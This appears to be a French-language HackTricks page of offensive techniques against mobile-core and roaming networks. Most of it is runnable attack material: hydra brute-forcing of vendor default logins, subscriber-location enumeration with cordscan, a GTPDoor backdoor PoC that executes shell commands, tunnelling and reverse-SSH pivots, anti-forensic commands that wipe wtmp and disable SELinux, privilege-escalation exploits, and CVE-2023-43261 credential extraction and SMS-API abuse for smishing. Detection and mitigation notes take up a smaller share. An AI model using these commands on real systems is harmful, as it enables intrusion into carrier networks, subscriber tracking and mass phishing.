Telecom Network Exploitation (GTP / Roaming Environments)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Note

Les protocoles du coeur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des backbones GRX/IPX de roaming semi-fiables. Parce qu’ils utilisent UDP en clair avec presque aucune authentification, tout point d’appui à l’intérieur du périmètre télécom peut généralement atteindre directement les plans de signalisation cœur. Les notes suivantes rassemblent des astuces offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et d’autres nœuds EPC.

1. Recon & Initial Access

1.1 Comptes OSS / NE par défaut

Un nombre étonnamment élevé d’éléments réseau fournis par les fabricants est livré avec des comptes SSH/Telnet codés en dur tels que root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Un wordlist dédié augmente considérablement le succès des attaques par brute-force:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Si le dispositif n’expose qu’une VRF de management, pivotez d’abord via un jump host (voir la section «SGSN Emu Tunnel» ci‑dessous).

1.2 Découverte d’hôtes à l’intérieur de GRX/IPX

La plupart des opérateurs GRX autorisent encore les ICMP echo à travers le backbone. Combinez masscan avec les probes UDP intégrées gtpv1 pour cartographier rapidement les listeners GTP-C :

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Énumération des abonnés – cordscan

L’outil Go suivant forge des paquets GTP-C Create PDP Context Request et enregistre les réponses. Chaque réponse révèle le SGSN / MME actuel qui dessert l’IMSI interrogé et, parfois, le PLMN visité de l’abonné.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Options clés :

  • --imsi IMSI de l’abonné cible
  • --oper Home / HNI (MCC+MNC)
  • -w Écrire les paquets bruts dans un pcap

Des constantes importantes à l’intérieur du binaire peuvent être patchées pour élargir les scans :

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Exécution de code via GTP – GTPDoor

GTPDoor est un petit service ELF qui écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant. Lorsque le payload commence par un pre-shared tag, le reste est déchiffré (AES-128-CBC) et exécuté via /bin/sh -c. Les stdout/stderr sont exfiltrés à l’intérieur de messages Echo Response, de sorte qu’aucune session sortante n’est jamais créée.

Paquet PoC minimal (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Détection :

  • tout hôte envoyant des unbalanced Echo Requests aux adresses IP SGSN
  • flag de version GTP réglé sur 1 alors que message type = 1 (Echo) – écart à la spécification

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN embarque un émulateur SGSN capable d’établir un contexte PDP vers un vrai GGSN/PGW. Une fois négocié, Linux reçoit une nouvelle interface tun0 accessible depuis le pair en itinérance.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Avec un firewall hair-pinning correctement configuré, ce tunnel contourne les signalling-only VLANs et vous place directement dans le data plane.

4.2 SSH Reverse Tunnel over Port 53

Le DNS est presque toujours ouvert dans les infrastructures de roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous :

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Vérifiez que GatewayPorts yes est activé sur le VPS.

5. Canaux cachés

ChannelTransportDecodingNotes
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)écoute purement passive, aucun trafic sortant
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encodé dans les octets d’enregistrement Asurveille le sous-domaine *.nodep
GTP – GTPDoorUDP 2123AES-128-CBC blob dans un IE privése fond dans le trafic GTP-C légitime

Tous les implants implémentent des watchdogs qui timestomp leurs binaires et se relancent si ceux-ci plantent.

6. Aide-mémoire d’évasion des défenses

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Escalade de privilèges sur des NE hérités

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Astuce de nettoyage :

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Boîte à outils

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – outils personnalisés décrits dans les sections précédentes.
  • FScan : balayages TCP intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : pivoting SOCKS5 léger
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

La procédure d’enregistrement 5G s’exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu’à activation de la sécurité NAS via Security Mode Command/Complete, les messages initiaux ne sont ni authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d’attaque lorsque vous pouvez observer ou altérer le trafic N2 (par ex., on-path à l’intérieur du core, rogue gNB, ou testbed).

Registration flow (simplified):

  • Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
  • Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
  • Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
  • PDU Session Establishment: IP/QoS setup.

Conseils pour le labo (non-RF) :

  • Core : un déploiement Open5GS par défaut suffit pour reproduire les flows.
  • UE : simulateur ou UE de test ; décoder avec Wireshark.
  • Active tooling : 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Filtres utiles dans Wireshark :
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Attendu : l’UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d’origine). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant le tracking persistant de l’abonné.

Comment tester :

  • Capturez le premier message NAS dans InitialUEMessage et inspectez le Mobile Identity IE.
  • Vérifications rapides dans Wireshark :
  • Il doit décoder comme SUCI, pas IMSI.
  • Exemples de filtres : nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci devrait exister ; l’absence combinée à la présence de imsi indique un leak.

À collecter :

  • MCC/MNC/MSIN si exposés ; logger par UE et suivre dans le temps/les lieux.

Atténuation :

  • Imposer SUCI-only pour les UEs/USIMs ; alerter sur toute présence d’IMSI/SUPI dans le NAS initial.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Contexte :

  • L’UE annonce les EEA (encryption) et EIA (integrity) supportés dans l’UE Security Capability IE de la Registration Request.
  • Mappings courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes null.

Problème :

  • Parce que la Registration Request n’est pas protégée par intégrité, un attaquant on-path peut effacer des bits de capability pour forcer la sélection d’EEA0/EIA0 plus tard lors du Security Mode Command. Certains stacks autorisent incorrectement les algorithmes null en dehors des services d’urgence.

Étapes offensives :

  • Intercepter InitialUEMessage et modifier le NAS UE Security Capability pour n’annoncer que EEA0/EIA0.
  • Avec Sni5Gect, hooker le message NAS et patcher les bits de capability avant retransmission.
  • Observer si l’AMF accepte des chiffrement/intégrité null et complète le Security Mode avec EEA0/EIA0.

Vérification/visibilité :

  • Dans Wireshark, confirmer les algorithmes sélectionnés après Security Mode Command/Complete.
  • Exemple de sortie de sniffer passif :
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Atténuations (obligatoires) :

  • Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement mandaté (p. ex., appels d’urgence).
  • Préférer l’application d’EEA2/EIA2 au minimum ; consigner et générer une alerte pour tout contexte de sécurité NAS qui négocie des algorithmes nuls.

9.3 Rejeu de la Registration Request initiale (NAS pré-sécurité)

Parce que le NAS initial manque d’intégrité et de fraîcheur, un InitialUEMessage+Registration Request capturé peut être rejoué vers l’AMF.

Règle PoC pour 5GReplay pour transférer les replays correspondants :

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

À observer :

  • Si l’AMF accepte le replay et passe à Authentication ; l’absence de validation de fraîcheur / de contexte indique une exposition.

Mesures d’atténuation :

  • Imposer une protection contre les replays / context binding au niveau de l’AMF ; rate-limit et corréler par GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: démarrer un AMF/SMF/UPF pour émuler le core ; observer N2 (NGAP) et NAS.
  • Wireshark: vérifier les décodages de NGAP/NAS ; appliquer les filtres ci‑dessous pour isoler la Registration.
  • 5GReplay: capturer une registration, puis replay des messages NGAP + NAS spécifiques selon la règle.
  • Sni5Gect: live sniff/modify/inject le control‑plane NAS pour forcer des algorithmes null ou perturber les séquences d’authentication.

9.5 Defensive checklist

  • Inspecter en continu la Registration Request pour SUPI/IMSI en clair ; bloquer les appareils/USIMs fautifs.
  • Rejeter EEA0/EIA0 sauf pour des procédures d’urgence strictement définies ; exiger au minimum EEA2/EIA2.
  • Détecter une infrastructure rogue ou mal configurée : gNB/AMF non autorisés, peers N2 inattendus.
  • Alerter sur les modes de sécurité NAS qui entraînent des algorithmes null ou des replays fréquents de InitialUEMessage.

10. Routeurs cellulaires industriels – Abus d’API SMS non authentifiée (Milesight UR5X/UR32/UR35/UR41) et récupération d’identifiants (CVE-2023-43261)

L’abus d’API web exposées des routeurs cellulaires industriels permet du smishing discret d’origine opérateur à grande échelle. Les routeurs Milesight de la série UR exposent un endpoint de type JSON-RPC à /cgi. Lorsqu’elle est mal configurée, l’API peut être interrogée sans authentification pour lister la boîte de réception/boîte d’envoi SMS et, dans certains déploiements, pour envoyer des SMS.

Requêtes non authentifiées typiques (même structure pour boîte de réception/boîte d’envoi) :

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Les réponses incluent des champs tels que timestamp, content, phone_number (E.164) et status (success ou failed). Des envois failed répétés vers le même numéro sont souvent des “vérifications de capacité” de l’attaquant pour valider qu’un router/SIM peut délivrer avant un envoi massif.

Exemple de curl pour exfiltrer les métadonnées SMS :

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Remarques sur les auth artifacts:

  • Une partie du trafic peut inclure un auth cookie, mais une grande fraction des appareils exposés répond sans aucune authentification à query_inbox/query_outbox lorsque l’interface de gestion est accessible depuis Internet.
  • Dans les environnements nécessitant une auth, previously-leaked credentials (voir ci‑dessous) restaurent l’accès.

Credential recovery path – CVE-2023-43261:

  • Familles affectées : UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Issue : les logs servis via le web (p.ex., httpd.log) sont accessibles sans authentification sous /lang/log/ et contiennent des événements de login admin avec le mot de passe chiffré en utilisant une hardcoded AES key/IV présente dans le client-side JavaScript.
  • Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Python minimal pour décrypter leaked passwords (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Idées de hunting et de détection (réseau) :

  • Alerter sur les POST /cgi non authentifiés dont le corps JSON contient base/function défini sur query_inbox ou query_outbox.
  • Suivre les rafales répétées de POST /cgi suivies d’entrées status":"failed" affectant de nombreux numéros uniques depuis la même IP source (capability testing).
  • Inventorier les routeurs Milesight exposés sur Internet ; restreindre la gestion au VPN ; désactiver les fonctionnalités SMS sauf si nécessaires ; mettre à niveau vers ≥ v35.3.0.7 ; faire pivoter les identifiants et examiner les logs SMS pour des envois inconnus.

Shodan/OSINT pivots (examples seen in the wild) :

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking for exposed logs: "/lang/log/system" ext:log.

Impact opérationnel : l’utilisation de SIMs d’opérateurs légitimes à l’intérieur des routeurs offre une très haute délivrabilité/crédibilité des SMS pour le phishing, tandis que l’exposition des inbox/outbox leak des métadonnées sensibles à grande échelle.


Idées de détection

  1. Tout appareil autre qu’un SGSN/GGSN établissant Create PDP Context Requests.
  2. Ports non standard (53, 80, 443) recevant des SSH handshakes depuis des IP internes.
  3. Echo Requests fréquents sans Echo Responses correspondantes – peut indiquer des beacons GTPDoor.
  4. Taux élevé de trafic ICMP echo-reply avec des champs identifier/sequence larges non nuls.
  5. 5G : InitialUEMessage transportant des NAS Registration Requests répétés depuis des endpoints identiques (signal de replay).
  6. 5G : NAS Security Mode négociant EEA0/EIA0 en dehors de contextes d’urgence.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks